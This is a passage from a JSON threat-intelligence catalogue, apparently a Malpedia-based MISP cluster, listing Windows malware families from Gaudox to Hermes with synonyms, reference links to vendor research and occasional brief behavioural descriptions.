      "uuid": "591b2882-65ba-4629-9008-51ed3467510a",
      "value": "Gaudox"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss",
          "http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5f8be453-8f73-47a2-9c9f-e8b9b02f5691",
      "value": "Gauss"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer",
          "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/",
          "https://securelist.com/introducing-whitebear/81638/",
          "https://www.youtube.com/watch?v=Pvzhtjl86wc",
          "https://github.com/eset/malware-ioc/tree/master/turla",
          "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf"
        ],
        "synonyms": [
          "WhiteBear"
        ],
        "type": []
      },
      "uuid": "0a3047b3-6a38-48ff-8f9c-49a5c28e3ada",
      "value": "Gazer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman",
          "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ed0586d1-4ff0-4d39-87c7-1414f600d16e",
      "value": "gcman"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer",
          "https://www.rekings.com/ispy-customers/",
          "https://wapacklabs.blogspot.ch/2017/02/rebranding-ispy-keylogger-gear-informer.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5e699f4d-9ff6-49dd-bc04-797f0ab2e128",
      "value": "GearInformer"
    },
    {
      "description": "According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key.\r\nGEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn't exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e46ae329-a619-4cfc-8059-af326c11ee79",
      "value": "GEMCUTTER"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6f155c95-3090-4730-8d3b-0b246162a83a",
      "value": "GetMail"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/",
          "https://securitykitten.github.io/2014/11/26/getmypass-point-of-sale-malware.html",
          "https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html",
          "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware"
        ],
        "synonyms": [
          "getmypos"
        ],
        "type": []
      },
      "uuid": "d77eacf7-090f-4cf6-a305-79a372241158",
      "value": "GetMyPass"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole",
          "https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/",
          "http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf"
        ],
        "synonyms": [
          "CoreImpact (Modified)",
          "Gholee"
        ],
        "type": []
      },
      "uuid": "ef4383f6-29fd-4b06-9a1f-b788567fd8fd",
      "value": "Ghole"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet",
          "https://en.wikipedia.org/wiki/GhostNet",
          "https://www.nartv.org/2019/03/28/10-years-since-ghostnet/",
          "http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html"
        ],
        "synonyms": [
          "Remosh"
        ],
        "type": []
      },
      "uuid": "e1410684-c695-4c89-ae5f-80ced136afbd",
      "value": "Gh0stnet"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin",
          "https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/",
          "https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html"
        ],
        "synonyms": [
          "Ghost iBot"
        ],
        "type": []
      },
      "uuid": "6201c337-1599-4ced-be9e-651a624c20be",
      "value": "GhostAdmin"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat",
          "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/",
          "http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf",
          "https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new",
          "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf",
          "http://www.malware-traffic-analysis.net/2018/01/04/index.html",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/",
          "http://www.hexblog.com/?p=1248",
          "https://blog.cylance.com/the-ghost-dragon",
          "https://www.intezer.com/blog-chinaz-relations/"
        ],
        "synonyms": [
          "Gh0st RAT",
          "PCRat"
        ],
        "type": []
      },
      "uuid": "225fa6cf-dc9c-4b86-873b-cdf1d9dd3738",
      "value": "Ghost RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses",
          "https://forum.exploit.in/pda/index.php/t102378.html"
        ],
        "synonyms": [
          "Wordpress Bruteforcer"
        ],
        "type": []
      },
      "uuid": "1c27b1a3-ea2a-45d2-a982-12e1509aa4ad",
      "value": "Glasses"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat",
          "https://community.rsa.com/community/products/netwitness/blog/2015/11/25/detecting-glassrat-using-security-analytics-and-ecat"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d9e6adf2-4f31-48df-a7ef-cf25d299f68c",
      "value": "GlassRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos",
          "https://blog.talosintelligence.com/2019/03/glitchpos-new-pos-malware-for-sale.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d2e0cbfb-c647-48ec-84e2-ca2199cf7d03",
      "value": "GlitchPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter",
          "https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/",
          "https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant",
          "https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run",
          "https://isc.sans.edu/diary/23417",
          "https://blog.ensilo.com/globeimposter-ransomware-technical",
          "https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "73806c57-cef8-4f7b-a78b-7949ef83b2c2",
      "value": "GlobeImposter"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "de8e204c-fb65-447e-92bd-200e1c39648c",
      "value": "Globe"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "18208674-fe8c-447f-9e1d-9ff9a64b2370",
      "value": "GlooxMail"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba",
          "http://resources.infosecinstitute.com/tdss4-part-1/",
          "http://malwarefor.me/2015-04-13-nuclear-ek-glupteba-and-operation-windigo/",
          "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/",
          "https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/",
          "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "978cfb82-5fe9-46d2-9607-9bcdfeaaa58c",
      "value": "Glupteba"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader",
          "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4349&p=28427#p28346"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9cfdc3ea-c838-4ac5-bff2-57c92ec24b48",
      "value": "Godzilla Loader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7d89e8dc-4999-47e9-b497-b476e368a8d2",
      "value": "Goggles"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye",
          "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/",
          "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/",
          "http://www.threatgeek.com/2017/02/spying-on-goldeneye-ransomware.html"
        ],
        "synonyms": [
          "Petya/Mischa"
        ],
        "type": []
      },
      "uuid": "d7196f6a-757b-4124-ae28-f403e5d84fcb",
      "value": "GoldenEye"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon",
          "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2297799c-f93c-4903-b9af-32b6b599912c",
      "value": "GoldDragon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted",
          "http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9cd98c61-0dfa-4af6-b334-65eb43bc8d9d",
      "value": "Golroted"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor",
          "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
        ],
        "synonyms": [
          "Fuerboos"
        ],
        "type": []
      },
      "uuid": "91b52a5f-420a-484b-8e1e-a91d402db6c5",
      "value": "Goodor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat",
          "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d1298818-6425-49be-9764-9f119d964efd",
      "value": "GoogleDrive RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1ebb6107-f97b-45f6-ae81-a671ac437181",
      "value": "GooPic Drooper"
    },
    {
      "description": "Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit",
          "https://www.lexsi.com/securityhub/homer-simpson-brian-krebs-rencontrent-zeus-gootkit/",
          "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html",
          "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/",
          "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055",
          "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps",
          "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/",
          "https://www.us-cert.gov/ncas/alerts/TA16-336A",
          "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html",
          "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/",
          "https://www.youtube.com/watch?v=242Tn0IL2jE",
          "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3669",
          "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/",
          "https://news.drweb.com/show/?i=4338&lng=en",
          "https://www.youtube.com/watch?v=QgUlPvEE4aw",
          "https://www.cyphort.com/angler-ek-leads-to-fileless-gootkit/"
        ],
        "synonyms": [
          "Xswkit",
          "talalpek"
        ],
        "type": []
      },
      "uuid": "329efac7-922e-4d8b-90a9-4a87c3281753",
      "value": "GootKit"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat",
          "https://www.yumpu.com/en/document/view/55930175/govrat-v20"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9fbb5822-1660-4651-9f57-b6f83a881786",
      "value": "GovRAT"
    },
    {
      "description": "2000 Ursnif aka Snifula\r\n2006 Gozi v1.0, Gozi CRM, CRM, Papras\r\n2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n-> 2010 Gozi Prinimalka -> Vawtrak/Neverquest\r\n\r\nIn 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed.\r\nIt was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.\r\n\r\nIn September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi",
          "http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html",
          "https://www.secureworks.com/research/gozi",
          "https://lokalhost.pl/gozi_tree.txt",
          "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007",
          "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/"
        ],
        "synonyms": [
          "CRM",
          "Gozi CRM",
          "Papras",
          "Snifula",
          "Ursnif"
        ],
        "type": []
      },
      "uuid": "75329c9e-a218-4299-87b2-8f667cd9e40c",
      "value": "Gozi"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode",
          "http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html",
          "http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/",
          "https://de.securelist.com/analysis/59479/erpresser/",
          "ftp://ftp.tuwien.ac.at/languages/php/oldselfphp/internet-security/analysen/index-id-200883584.html",
          "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "127c3d76-6323-4363-93e0-cd06ade0dd52",
      "value": "GPCode"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot",
          "http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0092b005-b032-4e34-9c7e-7dd0e71a85fb",
      "value": "GrabBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor",
          "http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "94b942e2-cc29-447b-97e2-e496cbf2aadf",
      "value": "Graftor"
    },
    {
      "description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos",
          "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
          "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html",
          "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season"
        ],
        "synonyms": [
          "FrameworkPOS",
          "trinity"
        ],
        "type": []
      },
      "uuid": "f82f8d2c-695e-461a-bd4f-a7dc58531063",
      "value": "Grateful POS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem",
          "https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5de7bd7f-bbbc-4431-8fd2-a90d25f30fd8",
      "value": "Gratem"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat",
          "https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/",
          "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1de27925-f94c-462d-acb6-f75822e05ec4",
      "value": "Gravity RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.grease",
          "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4ed079e6-69bd-481b-b873-86ced9ded750",
      "value": "GREASE"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan",
          "https://blog.cylance.com/spear-a-threat-actor-resurfaces"
        ],
        "synonyms": [
          "eoehttp"
        ],
        "type": []
      },
      "uuid": "9d0ddcb9-b0da-436a-af73-d9307609bd17",
      "value": "GreenShaitan"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy",
          "https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/",
          "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
          "https://www.eset.com/int/greyenergy-exposed/",
          "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/",
          "https://github.com/NozomiNetworks/greyenergy-unpacker"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5a683d4f-31a1-423e-a136-d348910ca967",
      "value": "GreyEnergy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.grok",
          "https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5ba66415-b482-44ff-8dfa-809329e0e074",
      "value": "GROK"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump",
          "https://attack.mitre.org/wiki/Technique/T1003"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8410d208-7450-407d-b56c-e5c1ced19632",
      "value": "gsecdump"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1",
          "https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0ecf5aca-05ef-47fb-b114-9f4177faace3",
      "value": "H1N1 Loader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2713a763-33fa-45ce-8552-7dd12b6b8ecc",
      "value": "Hacksfase"
    },
    {
      "description": "Py2Exe based tool as found on github.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy",
          "https://github.com/ratty3697/HackSpy-Trojan-Exploit"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4b5914fd-25e4-4a20-b6f5-faf4b34f49e9",
      "value": "HackSpy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq",
          "https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "454fc9f7-b328-451f-806c-68ff5bcd491e",
      "value": "Hamweq"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor",
          "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear",
          "https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/",
          "http://www.morphick.com/resources/lab-blog/closer-look-hancitor",
          "https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader",
          "https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/",
          "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html",
          "https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/",
          "https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html",
          "https://www.uperesia.com/hancitor-packer-demystified",
          "https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/",
          "https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak",
          "https://boozallenmts.com/resources/news/closer-look-hancitor",
          "https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/"
        ],
        "synonyms": [
          "Chanitor"
        ],
        "type": []
      },
      "uuid": "4166ab63-24b0-4448-92ea-21c8deef978d",
      "value": "Hancitor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.happy_locker"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fa0ffc56-6d82-469e-b624-22882f194ce9",
      "value": "HappyLocker (HiddenTear?)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig",
          "https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html",
          "https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html"
        ],
        "synonyms": [
          "Piptea"
        ],
        "type": []
      },
      "uuid": "619b9665-dac2-47a8-bf7d-942809439c12",
      "value": "Harnig"
    },
    {
      "description": "Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as \"Dragonfly\" and \"Energetic Bear\". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.\r\n\r\nOnce installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.\r\n\r\nHavex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat",
          "https://www.f-secure.com/weblog/archives/00002718.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c04fc02e-f35a-44b6-a9b0-732bf2fc551a",
      "value": "Havex RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger",
          "https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html",
          "https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/",
          "https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/",
          "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html",
          "http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/",
          "https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/"
        ],
        "synonyms": [
          "HawkEye Reborn",
          "Predator Pain"
        ],
        "type": []
      },
      "uuid": "31615066-dbff-4134-b467-d97a337b408b",
      "value": "HawkEye Keylogger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9af26655-cfba-4e02-bd10-ad1a494e0b5f",
      "value": "Helauto"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth",
          "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html",
          "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/",
          "https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
          "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "19d89300-ff97-4281-ac42-76542e744092",
      "value": "Helminth"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag",
          "https://securelist.com/heloag-has-rather-no-friends-just-a-master/29693/",
          "https://www.arbornetworks.com/blog/asert/trojan-heloag-downloader-analysis/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bb07e153-2e51-4ce1-97a3-4ec8a936e625",
      "value": "Heloag"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.herbst",
          "https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ca8482d9-657b-49fe-8345-6ed962a9735a",
      "value": "Herbst"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor",
          "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group",
          "https://insights.sei.cmu.edu/cert/2019/03/api-hashing-tool-imagine-that.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9d4fc43c-28a1-45ea-ac2c-8d53bdce118b",
      "value": "Heriplor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes",
